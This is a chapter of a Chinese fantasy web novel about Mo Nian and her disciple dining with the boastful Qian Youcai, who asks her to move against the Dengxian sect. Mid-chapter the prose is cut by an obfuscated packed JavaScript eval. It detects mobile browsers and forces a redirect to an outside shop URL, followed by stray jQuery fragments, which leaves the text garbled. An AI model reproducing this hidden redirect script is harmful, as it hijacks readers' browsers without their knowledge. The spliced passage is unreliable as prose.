乌金西坠,火树银花。江州城悬灯如缀星,长街板路被映得流光溢彩,恍若九重天宫。
莫念牵着骡子,满身风尘地走在长街上,活像一个刚见世面的村野山妇。
钱有财显然很满意莫念这副‘没见过世面’的模样,他下巴微抬,用惯常的、带着几分施舍的语气道:“看傻了吧,带你去天仙楼开开眼,要不是我,你这种人这辈子都不敢多看一眼天仙楼的大门。”
“嗯嗯。”莫念嘴上应着,心中浮现出钱家未发达时,钱有财的窘迫样。
钱有财目光掠过他们二人,见她们虽布衣素履,但身姿挺拔,眉目清朗,在满城流光映照下,竟无半分局促,反而有种松弛感。他心中有些不快,按理来说这时他们应该惊叹地谄媚他,结果他们这副反应,使他耀武扬威的话语,少了几分滋味。
莫念察觉到钱有财这份微妙的情绪变化,又补充道:“正饿得前胸贴背,那便有请钱少爷破费了。”
“你说错了,这顿饭不过是我钱家一个小商铺半日的进账。”
天仙楼离得不远,就坐落在这条繁华街道的最中段。那是一幢五层高的雕花木楼,远望就已经绚烂夺目,等走近,金玉帘箔,青砖瓷瓦,丝竹管弦与笑语喧闹溢出阶前。
门口眼尖的伙计,老远就瞧见了钱有财,立刻堆起笑脸,腰弯的极低;“钱少爷!您可些日子没来了,快里面请!”
钱有财从鼻子里挤出一个“嗯”,算是回应了,率先迈步进入。莫念和常煜清跟在他身后,结果被伙计拦阻,他直起身子,满脸讥诮道:“哪来的乞丐,胆敢来天仙楼乞讨,万一冲撞了贵人,你赔的起吗?滚滚滚.....”
莫念看见钱有财去而复返,站在那伙计身后,欲抬脚,乐道:“我不知我会不会冲撞贵人,你倒是已经惹到贵人了。”
“你好大的口气啊,再不滚我....”
“你什么你,不知道这两穷鬼是我客人?”钱有财踹了他一脚,话虽是为莫念他们出头,字里行间却依旧带有贬低。
莫念心中又给他记上一笔,有没有人和钱有财说过,做人留一线,日后好相见。人在道上混,迟早是要还的。
“对、对不起...我不知道他们是钱少爷的客人。”伙计慌忙告罪。
莫念善解人意地打圆场:“没事的,先进去吧。”
“还不滚!”钱有财喝退伙计,又听莫念对他说:“钱少爷真是好性情。”
“切,走吧。”
走进天仙楼,浓郁的酒香与乐曲氤氲成韵,堂中高台上,正有舞姬随着声乐翩翩起舞,水袖翻涌间,曼妙的身姿飞悬,在楼顶华灯下,与上清天的仙子别无二致。
引路的伙计将他们带至三楼一间临街的雅室,这个地方正好可以在楼内清楚地听曲赏舞,亦可推窗看到万家灯火。
“如何?”钱有财大马金刀地往主位一坐,斜睨着莫念和常煜清,语气带着显摆:“闻不语之前会带你来这种地方吗?我估计她自己还要省上一段时间的钱,才能够来天仙楼大堂喝上一碗酒。”
怎么又提到闻不语了。
莫念干笑两声,摘下面纱喝了一口酒,这才斟酌好措辞道:“早听闻天仙楼美酒醉人,如今一尝果真如此。”
钱有财听出莫念在转移话题,收起纨绔样:“少来,你真觉得我闲到这个地步,就为了请你来喝酒?”
“我不傻。”
至少比你聪明些。
这句话一出,气氛瞬间紧绷起来,莫念无声地和钱有财对峙。
最后是钱有财先败下阵来,“钱家要不行了。”
莫念有些意外,钱有财就这么毫无保留地告诉她了?她摇晃着酒碗,充满顾虑地说:“那可怎么办啊?钱公子若是需要我这个废物的帮助,在下必当在所不辞。”
“这可是你说的。我要你去天云顶,找西门茯苓,最好能杀了她。杀不了也没关系,你威胁她,让登仙教为我所用。”
听钱有财如痴人说梦般提出要求,莫念就知道,这钱有财还是同一年多前那样痴傻。
“就这么相信我?”
“死马当活马医罢了。”
其实是碰巧遇见莫念,拿她先试验一番,探探登仙教的底。
莫念揶揄:“那我便担下这个重任了,还请钱少爷相助。”
莫念身上的重任还有好几个,虽然一个都没完成,但先容她想想怎么安排。
“那是自然,先用膳,一会再聊。”
吃饭间,钱有财招呼了三位女子来伺候他,他们四位全然无视莫念和常煜清,举止愈发放浪形骸。
莫念看到这里,呛咳一声,钱有财就推开准备用嘴喂他的那位女子,勾唇打趣莫念:“你如今正值二九,怎么身边就一位小白脸,要不我送你几个?”
“咳咳咳——”莫念被呛到满脸通红,常煜清看见想递给她一盏茶,莫念咳得反而更厉害了。
“他是我徒弟,并非是你说的那种关系。”
“算了算了,你徒弟就你徒弟咯,脸红什么?”钱有财拉过身旁女子,把玩着她的手,抬眼望着莫念,有像是发现什么不得了的事,语出惊人:“有没有人说你长得很像闻不语?”
莫念心下一紧,手指无意识地敲打桌面,反驳道:“许是我在她身边久了,你们记混了。”
钱有财无言盯着莫念频频摇头,许久才笑道:“是我记错了,她起码长了一张人脸,你嘛....啧啧啧。”
君子报仇十年不晚,钱有财这笔账,过不了多久就能加利还给他了。
“我累了,先回去了。”钱有财拉着美人的手,正要先行离去。岂料刚准备推开门,一位穿着钱家服饰的下人急急忙忙跑了进来,气喘吁吁道:“钱少爷,那、那批货出问题了。”
钱有财一听脸色骤变,一把推开美人,揪住下人的衣领将他提起,咬紧后槽牙:“怎么办事的?还待在着做什么,走!”
这顿饭,两个人心怀鬼胎,一个人云里雾里。
变故就发生在一瞬间,前脚还想沉醉美人乡的钱有财,后脚就被俗事缠身。
雅间里就剩莫念和常煜清,常煜清迷茫了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790579|190567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚上,终于能开口询问,又被莫念止住。
莫念伸出食指比在唇前,又用眼神示意常煜清。
隔墙有耳。
莫念指尖蘸了酒水,在桌上缓缓写下‘归’字。
常煜清会意:“师父,这天仙楼的酒果真名不虚传,就是后劲大了些。”
“既然钱少爷有要事在身,我们也不便久留。”莫念起身,衣袖拂过桌面,水渍尽消。
二人下楼时,天仙楼依旧络绎不绝,热闹非凡。只是酒香少了几分,空气中多了些苦涩的烟香,缭绕烟气中,能勉强看出一些人瘫着。
“再来几包面粉!”其中一人扬声呼道,嗓音如砂砾堵塞般粗哑。
莫念两人听见一头雾水,来酒楼要面粉做甚?
正此时,门口的伙计来到两人面前,压低姿态:“两位,这是钱少爷托我给你们的。”
那是一个纯金做的牌子,正面刻着‘钱’字,背面却刻着一朵茯苓花。
莫念收起金牌,对伙计道:“明日必定登门拜访。”
走在熙熙攘攘的长街上,常煜清终于低声询问:“钱有财像是早就料到我们的行踪一样,你又为何答应他去天云顶?”
“你当真以为他是要我去对付西门茯苓?”莫念轻笑,“这金牌背面的茯苓花,分明是登仙教的信物。”
常煜清一怔:“那他是....”
“借刀杀人,却又舍不得这把刀。钱家与登仙教早已离心,他这是要借我探路。”
钱家要不行了,不止是与登仙教离心造成的,江南穷苦百姓的价值快要被他们压干了,而钱家又不敢动其他人,加之改稻为桑国策的取消,钱家彻底要走投无路了。只能与登仙教争夺漓水渡口开放权,以此来谋条后路。
这些话她没有对常煜清说,叹了一口气,轻声道:“今日你也见到了,想必心里也清楚我是一个什么样的人,而且与我同行,会遇到很多危险,你确定还要和我一起吗?”
常煜清莞尔:“师父,我这样还不能出师呢。”
看惯常煜清正经模样,没想到也是个风趣的人。他眼睫低垂,半散的发丝偶有几缕扫过莫念的脸颊,墨色的瞳色中,竟能映出五彩十色。
“那就一起咯,乖徒弟。”
莫念顺着他的话答道,心中默默记下这是第二次,她第二次问他要不要和自己一起,也是他第二次拒绝。
常煜清又正色道:“何况危险的从来不止你,我也不愿再偷生。”
“偷生吗?我不觉得,”莫念安慰道,随后又留下一句轻飘飘的话,“好好活着就行。”这句话轻到好似是说给自己的。
夜色正浓,可街道依旧张灯结彩。他们在客栈开了两间厢房休息一晚,进屋前,莫念对常煜清嘱咐道:“明日去钱府,你留在外面接应。”
常煜清点头:“你注意些。”
“嗯。”
说完,莫念关上门。
今晚注定是个不眠之夜。
窗外树影婆娑,飞鸟盘踞,而睡不着的,恐怕只有心急如焚的钱有财。